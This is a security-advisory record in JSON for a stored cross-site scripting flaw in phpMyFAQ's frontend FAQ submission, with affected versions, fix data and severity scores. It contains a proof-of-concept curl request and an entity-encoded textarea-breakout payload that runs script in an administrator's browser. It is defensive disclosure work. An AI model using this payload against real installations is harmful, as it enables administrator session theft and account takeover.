{"schema":"threatline.record/2","record":{"id":"CVE-2026-56736","aliases":["GHSA-pgwp-vc7q-cvj3"],"summary":"phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission","details":"### Summary\nA stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because `html_entity_decode()` converts HTML entities into executable HTML after `strip_tags()` has already passed them through, and the admin template renders the content with Twig's `|raw` filter without any output sanitization.\n\n### Details\n**Vulnerable file:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php` (lines 109-115)\n\n```php\n$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);\nif ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {\n    $answer = trim(html_entity_decode((string) $answer));\n}\n```\n\n**Root cause:**\n\n`Filter::filterVar()` with `FILTER_SANITIZE_SPECIAL_CHARS` internally calls `filterSanitizeString()` which applies `strip_tags()` to remove HTML tags. However, `strip_tags()` only removes **actual HTML tag syntax** (e.g., `<script>`) — it does NOT remove **HTML entities** (e.g., `&lt;script&gt;`).\n\nWhen `enableWysiwygEditorFrontend` is `true`, `html_entity_decode()` is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.\n\n**Vulnerable sink (admin template):** `phpmyfaq/assets/templates/admin/content/faq.editor.twig` (line 127)\n\n```twig\n<textarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n          placeholder=\"{{ 'msgAnswer' | translate }}\"\n>{{ faqData['content'] | raw }}</textarea>\n```\n\nThe admin FAQ editor controller (`Administration/FaqController.php`) loads the FAQ content directly from the database and passes it to the template without sanitization:\n\n```php\n$this->faq->getFaq($faqId, null, true);\n$faqData = $this->faq->faqRecord; // Raw content from DB\n```\n\n**Note:** The public-facing FAQ view IS properly sanitized via `FaqHelper::cleanUpContent()` which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.\n\n\n### PoC\n**Prerequisites:**\n- `main.enableWysiwygEditorFrontend` = `true` (non-default, but commonly enabled for rich-text user FAQ contributions)\n- `records.allowNewFaqsForGuests` = `true` (DEFAULT value — guests can submit FAQs)\n- At least one FAQ category must exist\n\n**Step 1: Inject XSS payload as unauthenticated guest**\n\n```bash\ncurl -X POST https://TARGET/api/faq/create \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"name\": \"Legitimate User\",\n    \"email\": \"user@example.com\",\n    \"question\": \"How to configure SMTP settings?\",\n    \"answer\": \"&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;\",\n    \"lang\": \"en\",\n    \"keywords\": \"smtp email\",\n    \"rubrik\": [\"1\"],\n    \"captcha\": \"<valid-captcha-or-empty-if-disabled>\"\n  }'\n```\n\nResponse: `{\"success\":\"Thank you for your suggestion!\"}`\n\n**Processing trace:**\n1. Input answer: `&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;`\n2. `filterSanitizeString()` → `strip_tags()` finds no actual `<tag>` syntax → string passes through unchanged\n3. `html_entity_decode()` converts entities → `</textarea><img src=x onerror=alert(document.domain)><textarea>`\n4. Stored in database as raw executable HTML\n\n**Step 2: Admin triggers XSS by reviewing the submitted FAQ**\n\nWhen an administrator navigates to edit the submitted FAQ entry:\n```\nGET /admin/faq/edit/{faqId}/{lang}\n```\n\nThe admin template renders:\n```html\n<textarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n          placeholder=\"Answer\"\n></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>\n```\n\nThe `</textarea>` breaks out of the editor textarea element, and the `<img onerror=...>` executes JavaScript immediately in the admin's browser context.\n\n<img width=\"1387\" height=\"562\" alt=\"admin stored xss alert poc\" src=\"https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a\" />\n<img width=\"1393\" height=\"805\" alt=\"admin stored xss poc\" src=\"https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333\" />\n\n\n**Note:** For logged-in users submitting FAQs, the captcha check is automatically bypassed (`BuiltinCaptcha::checkCaptchaCode()` returns `true` when user is logged in).\n\n\n### Impact\n- **Stored XSS targeting administrators** — every FAQ submission is reviewed by an admin, guaranteeing payload delivery\n- **Admin account takeover** — attacker can steal session cookies, create new admin accounts, or modify system configuration\n- **No special privileges required** — default configuration allows guest FAQ submissions (`records.allowNewFaqsForGuests` = `true`)\n- **Public view is unaffected** — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable","categories":["Libraries & packages"],"product":"thorsten/phpmyfaq","vendor":"thorsten","ecosystem":"composer","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:28:44Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"thorsten/phpmyfaq"},"range":"< 4.2.0-alpha"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:28:44Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"range":"< 4.2.0-alpha"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-56736","source_modified_at":"2026-09-24T14:52:17.024Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"phpMyFAQ","vendor":"thorsten","versions":[{"version":"< 4.2.0-alpha","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:45:04.984204153Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"thorsten/phpmyfaq","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"4.2.0-alpha"}],"type":"ECOSYSTEM"}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:45:04.984204153Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"phpmyfaq/phpmyfaq","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"4.2.0-alpha"}],"type":"ECOSYSTEM"}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:28:44Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"thorsten/phpmyfaq"},"version":"4.2.0-alpha"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:28:44Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"version":"4.2.0-alpha"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:45:04.984204153Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"thorsten/phpmyfaq","purl":"pkg:composer/thorsten/phpmyfaq"},"version":"4.2.0-alpha"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pgwp-vc7q-cvj3","source_modified_at":"2026-09-24T19:45:04.984204153Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"phpmyfaq/phpmyfaq","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"version":"4.2.0-alpha"}],"cvss":8.2,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00244,"percentile":0.14745,"score_date":"2026-10-23"},"published_at":"2026-09-24T14:21:17.025Z","modified_at":"2026-09-24T19:45:04.984204153Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-pgwp-vc7q-cvj3","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T19:28:44Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-56736","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-24T14:52:17.024Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-pgwp-vc7q-cvj3","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T19:45:04.984204153Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56736","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pgwp-vc7q-cvj3","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56736","source":"GitHub Advisory Database"},{"url":"https://github.com/thorsten/phpMyFAQ/commit/24b68068747ad632398e3b3bab2989e76e43ef82","source":"GitHub Advisory Database"},{"url":"https://github.com/thorsten/phpMyFAQ/releases/tag/4.2.0-alpha","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-pgwp-vc7q-cvj3","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-24T14:51:56.083267Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-24T19:45:04.984204153Z","content_hash":"4a556b2d240dbc49a757bbd4aa2d48a961d6be60429722d4ef3757821e0f0e6d"}}
